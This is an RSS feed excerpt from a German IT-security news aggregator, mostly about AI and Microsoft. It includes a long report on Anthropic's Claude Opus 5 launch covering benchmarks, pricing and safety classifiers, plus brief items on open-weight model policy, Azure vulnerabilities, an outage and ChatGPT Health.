<p class="wp-block-paragraph">Although business analysis is a relatively new discipline in IT, a handful of organizations already offer certifications to help boost your résumé and prove your merit as an analyst. Organizations such as the IIBA, IQBBA, IREB, and PMI each offer their own tailored certifications for business analysis. These include:</p>



<ul class="wp-block-list">
<li>IIBA <a href="https://www.cio.com/article/189169/ecba-certification-an-entry-level-credential-for-business-analysts.html">Entry Certificate in Business Analysis (ECBA)</a></li>



<li>IIBA Certification of Competency in Business Analysis (CCBA)</li>



<li>IIBA Certified Business Analysis Professional (CBAP)</li>



<li>IIBA Agile Analysis Certification (AAC)</li>



<li>IQBBA Certified Foundation Level Business Analyst (CFLBA)</li>



<li>IREB Certified Professional for Requirements Engineering (CPRE)</li>



<li>PMI Professional in Business Analysis (PBA)</li>



<li>Certified Analytics Professional (CAP)</li>
</ul>



<p class="wp-block-paragraph">For more information about how to earn one of these certifications — and how much they cost — click <a href="https://www.cio.com/article/228834/6-business-analyst-certifications-to-advance-your-analytics-career.html">here</a>.</p>



<h2 class="wp-block-heading">Business analytics tools and software</h2>



<p class="wp-block-paragraph">BAs typically rely on software such as Microsoft’s Excel, PowerPoint, and Access, as well as SQL, Google Analytics, and Tableau. These tools help BAs collect and sort data, create graphs, write documents, and design visualizations to explain findings. You won’t necessarily need programming or database skills for a BA position, but if you already have these skills, they won’t hurt. The type of software and tools you’ll need to use, however, will depend on your job title and what the organization requires.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Ultimate Admin Guide to Deploying Microsoft Scout via Intune]]></title>
<description><![CDATA[Microsoft Scout (Frontier) is an Autopilot agent and an AI application for Windows and macOS. It can help you edit, search, or create documents in your workplace; execute commands; manage emails, calendar, and Teams messages; or work autonomously (heartbeat mode). You describe your task, and it w...]]></description>
<link>https://tsecurity.de/de/3692859/windows-tipps/the-ultimate-admin-guide-to-deploying-microsoft-scout-via-intune/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692859/windows-tipps/the-ultimate-admin-guide-to-deploying-microsoft-scout-via-intune/</guid>
<pubDate>Sat, 25 Jul 2026 03:57:52 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="700" height="400" src="https://www.thewindowsclub.com/wp-content/uploads/2026/07/Admin-Guide-Deploying-Microsoft-Scout-Intune.png" class="attachment-full size-full wp-post-image" alt="Admin Guide Deploying Microsoft Scout Intune" decoding="async" fetchpriority="high" srcset="https://www.thewindowsclub.com/wp-content/uploads/2026/07/Admin-Guide-Deploying-Microsoft-Scout-Intune.png 700w, https://www.thewindowsclub.com/wp-content/uploads/2026/07/Admin-Guide-Deploying-Microsoft-Scout-Intune-500x286.png 500w, https://www.thewindowsclub.com/wp-content/uploads/2026/07/Admin-Guide-Deploying-Microsoft-Scout-Intune-300x171.png 300w" sizes="(max-width: 700px) 100vw, 700px">Microsoft Scout (Frontier) is an Autopilot agent and an AI application for Windows and macOS. It can help you edit, search, or create documents in your workplace; execute commands; manage emails, calendar, and Teams messages; or work autonomously (heartbeat mode). You describe your task, and it will carry out the task, similar to Copilot Cowork. […]</p>
<p>This article <a href="https://www.thewindowsclub.com/ultimate-admin-guide-to-deploying-microsoft-scout-via-intune">The Ultimate Admin Guide to Deploying Microsoft Scout via Intune</a> first appeared on <a href="https://www.thewindowsclub.com/">TheWindowsClub.com</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Nvidia, Microsoft, Meta Warn Against 'Premature Restrictions' of Open-Weight Models]]></title>
<description><![CDATA[Nvidia, Microsoft, Meta, Palantir, and more than 20 other tech companies signed an open letter urging policymakers not to impose "premature restrictions" on open-weight AI models, warning that broad limits could "stifle competition or drive innovation overseas." CNBC reports: They wrote that open...]]></description>
<link>https://tsecurity.de/de/3692435/it-security-nachrichten/nvidia-microsoft-meta-warn-against-premature-restrictions-of-open-weight-models/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692435/it-security-nachrichten/nvidia-microsoft-meta-warn-against-premature-restrictions-of-open-weight-models/</guid>
<pubDate>Fri, 24 Jul 2026 22:11:29 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Nvidia, Microsoft, Meta, Palantir, and more than 20 other tech companies signed an open letter urging policymakers not to impose "premature restrictions" on open-weight AI models, warning that broad limits could "stifle competition or drive innovation overseas." CNBC reports: They wrote that open-weight models strengthen competition and ensure that the benefits of the technology are "broadly shared rather than concentrated in a few hands." "Relying solely on closed models is not inherently safe: they can be breached, misused, or fail in ways that outsiders cannot detect," the letter said. "And concentrating advanced AI capabilities behind a small number of closed models compounds that risk."
 
Elon Musk, who runs an AI business under his rocket company SpaceX, also applified the letter on social media, writing that it has his "full support" in a post on X. SpaceX did not officially sign the letter. Greg Brockman, OpenAI's president, said Thursday that the company believes in broad access, and that he has not been involved in any conversations with the Trump administration about potentially banning Chinese open-weight models in the U.S.
 
"I think that, that fundamentally, AI and AI usage is something that is actually very important to democratize," Brockman told reporters during a briefing in New York City. "And so, for me, at a sort of deep level, I think that having more models, more usage, that is a good thing." OpenAI CEO Sam Altman addressed the letter in a post on X on Friday, writing that he wants the U.S. to win with both open-weight and proprietary models, and that he is "glad to see this."
 
[...] In the letter on Friday, the U.S. tech companies said that concerns about unlawful distillation should be addressed through "targeted legal and commercial frameworks" instead of with "sweeping restrictions on techniques that play an important role in AI innovation." "Our AI leadership will be judged not by one frontier AI model, but by whether the United States builds a strong, open ecosystem that diffuses into every sector," the letter said. "This is essential for creating opportunities for innovation and prosperity across the country." The letter follows a separate appeal signed by nearly 200 Silicon Valley companies, including Proton and Y Combinator, warning that restricting U.S. access to Chinese open-weight AI models could cripple the next generation of American startups. "American leadership requires two things: world-leading American open-weight models and continued access for U.S. builders to open models already available worldwide," the startup founders wrote. Instead of broad prohibitions, they argue the government should adopt targeted safeguards.
 
Of course, these signees "have an obvious economic stake in seeing open AI models flourish," notes TechCrunch. "Companies like Nvidia, Microsoft Azure, and other infrastructure providers have a vested interest in pushing for commoditized models: If models are interchangeable, people will buy more GPUs, rent more cloud capacity, and build more applications."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Nvidia%2C+Microsoft%2C+Meta+Warn+Against+'Premature+Restrictions'+of+Open-Weight+Models%3A+https%3A%2F%2Fmeta.slashdot.org%2Fstory%2F26%2F07%2F24%2F1911233%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fmeta.slashdot.org%2Fstory%2F26%2F07%2F24%2F1911233%2Fnvidia-microsoft-meta-warn-against-premature-restrictions-of-open-weight-models%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://meta.slashdot.org/story/26/07/24/1911233/nvidia-microsoft-meta-warn-against-premature-restrictions-of-open-weight-models?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Anthropic launches Claude Opus 5, a cheaper AI model for coding, agents and enterprise workflows]]></title>
<description><![CDATA[Anthropic released Claude Opus 5 on Friday, a model the company says delivers nearly all the intelligence of its top-of-the-line Claude Fable 5 at half the cost — a launch that signals how the AI race is shifting from raw capability to the economics of daily use.The model, available immediately o...]]></description>
<link>https://tsecurity.de/de/3692246/it-nachrichten/anthropic-launches-claude-opus-5-a-cheaper-ai-model-for-coding-agents-and-enterprise-workflows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692246/it-nachrichten/anthropic-launches-claude-opus-5-a-cheaper-ai-model-for-coding-agents-and-enterprise-workflows/</guid>
<pubDate>Fri, 24 Jul 2026 20:10:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://www.anthropic.com/">Anthropic</a> released Claude <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> on Friday, a model the company says delivers nearly all the intelligence of its top-of-the-line Claude <a href="https://www.anthropic.com/claude/fable">Fable 5</a> at half the cost — a launch that signals how the AI race is shifting from raw capability to the economics of daily use.</p><p>The model, available immediately on all of Anthropic's platforms, is priced at $5 per million input tokens and $25 per million output tokens, unchanged from its predecessor, <a href="https://www.anthropic.com/news/claude-opus-4-8">Opus 4.8</a>. It becomes the new default model on <a href="https://support.claude.com/en/articles/11049741-what-is-the-max-plan">Claude Max</a>, Anthropic's premium consumer tier, and the strongest model available on <a href="https://support.claude.com/en/articles/8325606-what-is-the-pro-plan">Claude Pro</a>.</p><p>The positioning is deliberate. Anthropic is not claiming <a href="http://anthropic.com/news/claude-opus-5">Opus 5 </a>is its smartest model — that distinction still belongs to <a href="https://www.anthropic.com/claude/fable">Fable 5</a>, and rival systems retain an edge in certain domains. Instead, the company is making a subtler argument that may matter more to enterprise buyers: that the most economically important AI work happens in a middle band of difficulty, where near-frontier intelligence delivered efficiently and cheaply beats frontier intelligence delivered expensively.</p><p>"Opus 5 as your daily driver, the model you hand complex work to and review when it's done," an Anthropic spokesperson said in an interview with VentureBeat, describing how the company's lineup now stratifies. "Fable 5 for your most ambitious work, the days-long autonomous projects nothing could take on before... Sonnet 5 for work you run at scale, where speed and cost per call decide what ships. Haiku 4.5 for subagents and instant answers."</p><h2><b>How Claude Opus 5 benchmark results stack up against Fable 5 and rival AI models</b></h2><p>On paper, the results are striking. Anthropic says <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> sets new state-of-the-art marks on coding and knowledge-work evaluations including <a href="https://www.frontierbench.ai/announcement">Frontier-Bench</a> and <a href="https://artificialanalysis.ai/evaluations/gdpval-aa">GDPval-AA</a>. On <a href="https://www.frontierbench.ai/announcement">Frontier-Bench v0.1</a>, an agentic terminal coding benchmark, Opus 5 scores 43.3 percent — more than double Opus 4.8's 18.7 percent and well ahead of Fable 5's 33.7 percent — at a lower cost per task, according to the company. On <a href="https://arcprize.org/arc-agi/3">ARC-AGI 3</a>, an evaluation of novel problem-solving, Anthropic reports Opus 5 scored three times as high as the next best model. On <a href="https://github.com/xlang-ai/OSWorld-V2">OSWorld 2.0</a>, a computer-use benchmark, the company says the model surpasses Fable 5's best result at just over a third of the cost.</p><p>The numbers come with honest caveats that are themselves notable in an industry prone to superlatives. Anthropic acknowledges <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> remains behind <a href="https://www.anthropic.com/claude/mythos">Mythos 5</a>, a competing model, on cybersecurity tasks and biology research, and an OpenAI-family model still leads on one agentic coding benchmark.</p><p>The more revealing caveat came from Anthropic itself, when asked where <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> still falls short of <a href="https://www.anthropic.com/claude/fable">Fable 5</a>. The spokesperson's answer amounted to a candid admission about what benchmarks do and don't capture.</p><p>"The evals where Opus 5 wins are bounded tasks with a specific outcome, which is where it's strongest. What those evals don't measure is duration," the spokesperson told VentureBeat. "One way to put it: Opus 5 is the best tool for the jobs benchmarks can see, and Fable 5 is what you reach for when the job outruns the benchmark."</p><p><a href="https://www.anthropic.com/claude/fable">Fable 5</a>, by contrast, "is for the longest, most autonomous jobs, where the model has to stay coherent across many connected steps over hours or days with dense source material," the spokesperson said, advising customers to "run both on a representative workload, one bounded task and one long-horizon job." That framing — bounded tasks versus long-horizon autonomy — may become the defining axis of model differentiation in 2026, as benchmarks saturate and the hardest remaining problems involve sustained, multi-day agentic work rather than discrete puzzles.</p><h2><b>Why token efficiency is becoming the real battleground for enterprise AI spending</b></h2><p>Threaded through the launch is a theme Anthropic clearly wants buyers to absorb: <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> doesn't just score well, it scores well per dollar. The model ships with an adjustable "effort" setting that lets customers trade intelligence for speed and token savings, and Anthropic's charts emphasize performance at a given cost rather than peak performance alone.</p><p>Early customers echoed the point with unusual specificity. Harvey, the legal AI company, said Opus 5 achieved similar performance to Opus 4.8's maximum-reasoning mode "while generating 26% fewer tokens on average," according to Niko Grupen, its head of applied research. Richard Pham of Fundamental Research Lab said that on hard financial-modeling tasks, the model averaged nine percentage points higher accuracy "while using roughly one-third fewer turns and tool calls and 60% less time."</p><p>Wade Foster, chief executive of Zapier, said Opus 5 topped his company's AutomationBench leaderboard "without spending more tokens than prior Claude models," running a full churn-prevention workflow from start to finish. "Previous models didn't pass; Opus 5 hit 100%," he said. Scott Wu, chief executive of Cognition, the company behind the Devin coding agent, said that on FrontierCode 1.1, "Claude Opus 5 approaches Fable-level performance at half the cost," with particular strength in debugging and root-cause analysis.</p><p>The efficiency emphasis reflects commercial reality. Enterprise AI spending is no longer experimental, and inference costs — the price of actually running these models at scale — have become a board-level line item. </p><p>Anthropic's business skews heavily toward API and enterprise usage; according to a February 2026 analysis by <a href="https://research.contrary.com/company/anthropic">Contrary Research</a>, Claude held roughly 40 percent of the enterprise large language model market by usage as of late 2025, and Claude Code alone had reached about $1 billion in annualized revenue. For a company whose customers pay by the token, a model that does more with fewer tokens is not a nice-to-have. It is the product.</p><h2><b>Self-verifying AI agents and what they mean for the hidden costs of automation</b></h2><p>Beyond the numbers, Anthropic is selling a behavioral story: that <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> verifies its work and iterates until it succeeds. The company offered several examples from testing that read like small parables of machine stubbornness.</p><p>In one <a href="https://www.frontierbench.ai/announcement">Frontier-Bench</a> task, the model was asked to reconstruct a machine part as a 3D CAD model from a drawing it was intentionally given no way to view. Rather than fail, Anthropic says, Opus 5 wrote its own computer vision pipeline to extract the geometry from raw pixels — and did so repeatedly, while no competing model solved the task in five attempts. In another case, given a real bug in a popular open-source package manager, the model found the root cause and fixed an edge case the community's own patch had missed; a competing model patched only the symptom and declared victory. An engineer at a trading firm, the company says, used Opus 5 to build a market data feed for a new exchange in a single session and, finding no live feed to validate against, watched the model build its own test harness to check its parsing code.</p><p>Customers described similar behavior in the wild. Cristian Rivera, a staff software engineer at Stripe, said he gave the model "a chief-of-staff role over my dev environments" for a weekend: "it built its own monitor, drove each box, and pulled me in only for the judgment calls."</p><p>This is the capability enterprises actually care about, and it is worth dwelling on why. The gap between a model that produces plausible output and one that verifies its output is the gap between a demo and a deployable system. Most of the hidden cost of enterprise AI today is human review — engineers checking the machine's work. A model that reliably checks its own work compresses that cost, which is precisely why customers keep citing fewer turns, fewer passes, and less time rather than higher raw scores.</p><h2><b>Inside Anthropic's safety strategy: capability gaps, classifiers, and model fallbacks</b></h2><p>The launch also showcases Anthropic's increasingly intricate approach to safety — one that now involves deliberately not teaching its models certain skills. The company says its automated behavioral audit found Opus 5 to be its most aligned model to date, scoring 2.3 on overall misaligned behavior, lower than <a href="https://www.anthropic.com/news/claude-opus-4-8">Opus 4.8</a>, <a href="https://www.anthropic.com/news/claude-sonnet-5">Sonnet 5</a>, or <a href="https://www.anthropic.com/claude/fable">Fable 5</a>, with the lowest rates of deceptive behavior and the least susceptibility to being tricked into misuse.</p><p>On the capability side, Anthropic says it intentionally avoided training <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> on cyber tasks, as it did with Opus 4.8. The model improved on them anyway — a side effect of general capability gains — and now nearly matches Mythos 5 at finding software vulnerabilities. But it remains far behind at exploiting them: on Anthropic's OSS-Fuzz evaluation, Opus 5 identified vulnerabilities at a 79.4 percent rate, close to Mythos 5's 80 percent, but succeeded at developing exploits in only 4 challenges versus Mythos 5's 13. That asymmetry — strong at defense-relevant discovery, weak at offense-relevant exploitation — appears to be by design, and the safeguards follow the same logic. Anthropic expects Opus 5's cyber classifiers to intervene about 85 percent less often than Fable 5's.</p><p>When a classifier does trigger, requests in <a href="http://claude.ai/">Claude.ai</a>, <a href="https://code.claude.com/docs/en/overview">Claude Code</a>, and <a href="https://claude.com/product/cowork">Claude Cowork</a> fall back to <a href="https://www.anthropic.com/news/claude-opus-4-8">Opus 4.8</a> by default — raising an obvious question: if a request is too risky for one model, why is it acceptable for another? "The model it falls back to has lower capability levels making the risk of harmful use lower as well," the spokesperson said, adding that "there is a message that lets the user know when this occurs and is visible in the chat."</p><p>The logic is defensible, but it reveals how AI safety actually works in 2026: risk is not a property of the question alone, but of the question multiplied by the capability of the system answering it. On biology, the calculus runs the other way. Opus 5 is now Anthropic's most capable generally available model for scientific research — scoring 10.2 percentage points higher than Opus 4.8 on the company's internal chemistry benchmark — though the spokesperson acknowledged that "Mythos 5 remains the stronger model for long-horizon, open-ended work like autonomous drug design campaigns."</p><h2><b>The business stakes behind the launch: a $380 billion valuation and massive compute bets</b></h2><p>The launch lands at a moment of extraordinary commercial momentum — and extraordinary obligations — for Anthropic. Reuters reported in February that the company was valued at <a href="https://www.reuters.com/technology/anthropic-valued-380-billion-latest-funding-round-2026-02-12/">roughly $380 billion</a> in its latest funding round, following a period in which, per Contrary Research's analysis, its annualized revenue climbed from about $1 billion at the end of 2024 to a projected $9 billion by the end of 2025, with internal targets reportedly <a href="https://research.contrary.com/company/anthropic">reaching $20 to $26 billion for 2026</a>. Those targets are underwritten by enormous infrastructure commitments, including a <a href="https://www.anthropic.com/news/microsoft-nvidia-anthropic-announce-strategic-partnerships">reported $30 billion Azure compute deal</a> alongside arrangements with Google Cloud and Nvidia — spending that only pencils out if enterprises keep expanding usage.</p><p>That is the context in which Opus 5's pricing strategy makes sense. Holding the price at Opus 4.8 levels while roughly doubling performance on key agentic benchmarks is effectively a steep price cut per unit of capability, designed to widen the funnel of workloads that are economical to automate. Every task that was marginal at Opus 4.8's cost-per-success becomes viable at Opus 5's — and every viable task is recurring token revenue.</p><p>The regulatory backdrop has grown more complex as well. A U.S. judge gave final approval this week to <a href="https://www.reuters.com/world/us-judge-approves-anthropics-15-billion-settlement-copyright-lawsuit-2026-07-20/">Anthropic's $1.5 billion copyright settlement with book authors</a>, Reuters reported, closing a chapter of litigation over the company's early training data. And in June, Reuters, citing Axios, reported that the U.S. government had moved to <a href="https://www.reuters.com/technology/us-blocks-foreign-access-anthropics-most-advanced-ai-models-axios-reports-2026-06-13/">block foreign access </a>to Anthropic's most advanced models — a reminder that frontier AI is now entangled with export policy in ways that shape which customers can buy what.</p><p>Also shipping Friday: a Fast mode running at roughly 2.5 times default speed at twice the base price, automatic fallback routing on the API, and mid-conversation tool changes that no longer invalidate the prompt cache — a small feature that agent developers may appreciate more than any benchmark. Consistent with prior Opus models, Opus 5 carries no data retention requirements for general access, a point the spokesperson flagged unprompted for customers with "a hard zero data retention requirement." Developers can access the model as claude-opus-5 on the <a href="https://platform.claude.com/login?returnTo=%2F%3F">Claude API</a> starting today.</p><p>Two questions will determine whether the bet pays off: whether <a href="http://anthropic.com/news/claude-opus-5">Opus 5's efficiency claims </a>survive contact with production workloads at scale, and whether enterprises embrace a world where safety classifiers, not users, sometimes decide which model answers. But the deeper message of Friday's launch is that the AI industry's center of gravity has moved. For three years, the labs competed on what their best model could do on its best day. With Opus 5, Anthropic is competing on something less glamorous and far more lucrative: what a very good model can do every day, for half the price. In a market where the frontier keeps moving, Anthropic is wagering that the real fortune lies just behind it.</p><p>
</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-56160 | Microsoft Azure Red Hat OpenShift improper authorization (CNNVD-2026-74404697)]]></title>
<description><![CDATA[A vulnerability identified as very critical has been detected in Microsoft Azure Red Hat OpenShift. The affected element is an unknown function. Performing a manipulation results in improper authorization.

This vulnerability is cataloged as CVE-2026-56160. It is possible to initiate the attack r...]]></description>
<link>https://tsecurity.de/de/3692199/sicherheitsluecken/cve-2026-56160-microsoft-azure-red-hat-openshift-improper-authorization-cnnvd-2026-74404697/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692199/sicherheitsluecken/cve-2026-56160-microsoft-azure-red-hat-openshift-improper-authorization-cnnvd-2026-74404697/</guid>
<pubDate>Fri, 24 Jul 2026 19:36:41 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability identified as <a href="https://vuldb.com/kb/risk">very critical</a> has been detected in <a href="https://vuldb.com/product/microsoft:azure_red_hat_openshift">Microsoft Azure Red Hat OpenShift</a>. The affected element is an unknown function. Performing a manipulation results in improper authorization.

This vulnerability is cataloged as <a href="https://vuldb.com/cve/CVE-2026-56160">CVE-2026-56160</a>. It is possible to initiate the attack remotely. There is no exploit available.

This product is a managed service, therefore users are not responsible for maintaining vulnerability countermeasures.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-56167 | Microsoft Azure AI Search server-side request forgery (CNNVD-2026-81860683)]]></title>
<description><![CDATA[A vulnerability classified as critical was found in Microsoft Azure AI Search. Affected by this vulnerability is an unknown functionality. Such manipulation leads to server-side request forgery.

This vulnerability is traded as CVE-2026-56167. The attack may be launched remotely. There is no expl...]]></description>
<link>https://tsecurity.de/de/3692198/sicherheitsluecken/cve-2026-56167-microsoft-azure-ai-search-server-side-request-forgery-cnnvd-2026-81860683/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692198/sicherheitsluecken/cve-2026-56167-microsoft-azure-ai-search-server-side-request-forgery-cnnvd-2026-81860683/</guid>
<pubDate>Fri, 24 Jul 2026 19:36:40 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">critical</a> was found in <a href="https://vuldb.com/product/microsoft:azure_ai_search">Microsoft Azure AI Search</a>. Affected by this vulnerability is an unknown functionality. Such manipulation leads to server-side request forgery.

This vulnerability is traded as <a href="https://vuldb.com/cve/CVE-2026-56167">CVE-2026-56167</a>. The attack may be launched remotely. There is no exploit available.

This product is a managed service, so users are unable to manage vulnerability countermeasures on their own.]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft's open-weight AI push is so obviously an Azure play it hurts]]></title>
<description><![CDATA[Microsoft, along with Meta, Nvidia, and more than 20 other companies, is pushing for open-weight AI models in an open letter. The strategic logic is simple: the more models running on Azure, the less Microsoft depends on expensive OpenAI and Anthropic models. The company is also swapping external...]]></description>
<link>https://tsecurity.de/de/3691992/ai-nachrichten/microsofts-open-weight-ai-push-is-so-obviously-an-azure-play-it-hurts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691992/ai-nachrichten/microsofts-open-weight-ai-push-is-so-obviously-an-azure-play-it-hurts/</guid>
<pubDate>Fri, 24 Jul 2026 18:09:44 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="2048" height="1152" src="https://the-decoder.com/wp-content/uploads/2026/07/microsoft_glitch_robot.png" class="attachment-full size-full wp-post-image" alt="" decoding="async" fetchpriority="high"></p>
<p>        Microsoft, along with Meta, Nvidia, and more than 20 other companies, is pushing for open-weight AI models in an open letter. The strategic logic is simple: the more models running on Azure, the less Microsoft depends on expensive OpenAI and Anthropic models. The company is also swapping external models in products like Copilot for its in-house MAI family, which performs significantly worse in independent benchmarks.</p>
<p>The article <a href="https://the-decoder.com/microsofts-open-weight-ai-push-is-so-obviously-an-azure-play-it-hurts/">Microsoft's open-weight AI push is so obviously an Azure play it hurts</a> appeared first on <a href="https://the-decoder.com/">The Decoder</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft blames massive Microsoft 365 outage on maintenance bug]]></title>
<description><![CDATA[Microsoft says a bug in its automated network maintenance request system caused Thursday's massive outage by mistakenly removing IP routes from more devices than intended, disrupting Azure and Microsoft 365 services. [...]]]></description>
<link>https://tsecurity.de/de/3691926/it-security-nachrichten/microsoft-blames-massive-microsoft-365-outage-on-maintenance-bug/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691926/it-security-nachrichten/microsoft-blames-massive-microsoft-365-outage-on-maintenance-bug/</guid>
<pubDate>Fri, 24 Jul 2026 17:46:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Microsoft says a bug in its automated network maintenance request system caused Thursday's massive outage by mistakenly removing IP routes from more devices than intended, disrupting Azure and Microsoft 365 services. [...]]]></content:encoded>
</item>
<item>
<title><![CDATA[Default Azure Automation Setting Enables Cross-Tenant Identity Takeover]]></title>
<description><![CDATA[Microsoft addressed a public-by-default configuration and chain of code flaws in Azure Automation which could have let attackers seize another tenant's identity and access other tenants' data, credentials, and cloud workloads.]]></description>
<link>https://tsecurity.de/de/3691868/it-security-nachrichten/default-azure-automation-setting-enables-cross-tenant-identity-takeover/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691868/it-security-nachrichten/default-azure-automation-setting-enables-cross-tenant-identity-takeover/</guid>
<pubDate>Fri, 24 Jul 2026 17:05:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Microsoft addressed a public-by-default configuration and chain of code flaws in Azure Automation which could have let attackers seize another tenant's identity and access other tenants' data, credentials, and cloud workloads.]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI pushes ChatGPT into patient health records]]></title>
<description><![CDATA[OpenAI is deploying a Health feature inside ChatGPT, giving users the option to connect Apple Health data and medical records to the chatbot. Logged-in users aged 18 and older can access it now on web and iOS, across the Free, Go, Plus, and Pro tiers. Users link Apple Health and, where supported,...]]></description>
<link>https://tsecurity.de/de/3691857/ai-nachrichten/openai-pushes-chatgpt-into-patient-health-records/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691857/ai-nachrichten/openai-pushes-chatgpt-into-patient-health-records/</guid>
<pubDate>Fri, 24 Jul 2026 17:00:00 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>OpenAI is deploying a Health feature inside ChatGPT, giving users the option to connect Apple Health data and medical records to the chatbot. Logged-in users aged 18 and older can access it now on web and iOS, across the Free, Go, Plus, and Pro tiers. Users link Apple Health and, where supported, records from US […]</p>
<p>The post <a href="https://www.artificialintelligence-news.com/news/openai-pushes-chatgpt-into-patient-health-records/">OpenAI pushes ChatGPT into patient health records</a> appeared first on <a href="https://www.artificialintelligence-news.com/">AI News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Friday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (glibc, java-21-openjdk, kernel, and libpq), Debian (imagemagick, spice-vdagent, and webkit2gtk), Fedora (cryptlib, dotnet8.0, dotnet9.0, firefox, python-black, python-lsp-black, and python-pytokens), Mageia (apache, cifs-utils, dnsmasq, lrzip, and s...]]></description>
<link>https://tsecurity.de/de/3691648/linux-tipps/security-updates-for-friday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691648/linux-tipps/security-updates-for-friday/</guid>
<pubDate>Fri, 24 Jul 2026 15:13:19 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (glibc, java-21-openjdk, kernel, and libpq), <b>Debian</b> (imagemagick, spice-vdagent, and webkit2gtk), <b>Fedora</b> (cryptlib, dotnet8.0, dotnet9.0, firefox, python-black, python-lsp-black, and python-pytokens), <b>Mageia</b> (apache, cifs-utils, dnsmasq, lrzip, and socat), <b>Oracle</b> (.NET 10.0, .NET 9.0, 389-ds-base, cups, edk2, fence-agents, firefox, freeipmi, freerdp, git-lfs, glib2, gnutls, golang, gstreamer1-plugins-bad-free, gstreamer1-plugins-good, gstreamer1-plugins-ugly-free, hplip, libinput, libvirt, libxml2, memcached, nginx, openexr, perl-DBI, perl-XML-LibXML, php, php8.4, plexus-utils, postgresql16, python3.12, python3.14, sssd, tomcat, tomcat9, unbound, vim, xorg-x11-server-Xwayland, yggdrasil, and yggdrasil-worker-package-manager), <b>Red Hat</b> (container-tools:rhel8, git-lfs, go-toolset:rhel8, golang, golang-github-openprinting-ipp-usb, grafana, grafana-pcp, host-metering, java-1.8.0-openjdk, java-11-openjdk with Extended Lifecycle Support, java-17-openjdk, java-21-openjdk, oci-seccomp-bpf-hook, rhc, rhc-worker-playbook, skopeo, xorg-x11-server, xorg-x11-server-Xwayland, and yggdrasil), <b>Slackware</b> (mozilla-thunderbird), <b>SUSE</b> (afterburn, alloy, apache-sshd, apache2, avahi, chromium, clamav, curl, dhcpcd, dnsmasq, docker-compose, ffmpeg-7, firefox-esr, gawk, glibc, gnutls, go1.26-openssl, google-osconfig-agent, gpg2, haproxy, ImageMagick, imagemagick, jline3, jq, kernel, libgcrypt, libgnt, meson, pidgin, nmap, nodejs24, pacemaker, patch, perl-HTML-Parser, perl-libwww-perl, perl-List-SomeUtils-XS, python-aiohttp, python-WebOb, qemu, rust-keylime, SVT-AV1, libyuv0, libaom3, trivy, ucode-intel, and wireshark), and <b>Ubuntu</b> (libhttp-date-perl, libxpm, linux-azure, linux-azure-fde, pam, and rsyslog).]]></content:encoded>
</item>
<item>
<title><![CDATA[Künstliche Intelligenz: Microsoft AI führt zwei neue KI-Modelle ein]]></title>
<description><![CDATA[Microsoft baut die Verwendung der hauseigenen MAI-Modelle weiter aus. Wie die Kollegen von Thurrott berichten, wird das Sprachmodell MAI-Voice-2-Flash nun flächendeckend in Azure Voice Live sowie Dynamics 365 Contact Center verwendet. Wichtiger ist allerdings das neue Bildmodell MAI-Image-2.5-Pro...]]></description>
<link>https://tsecurity.de/de/3691564/it-nachrichten/kuenstliche-intelligenz-microsoft-ai-fuehrt-zwei-neue-ki-modelle-ein/</link>
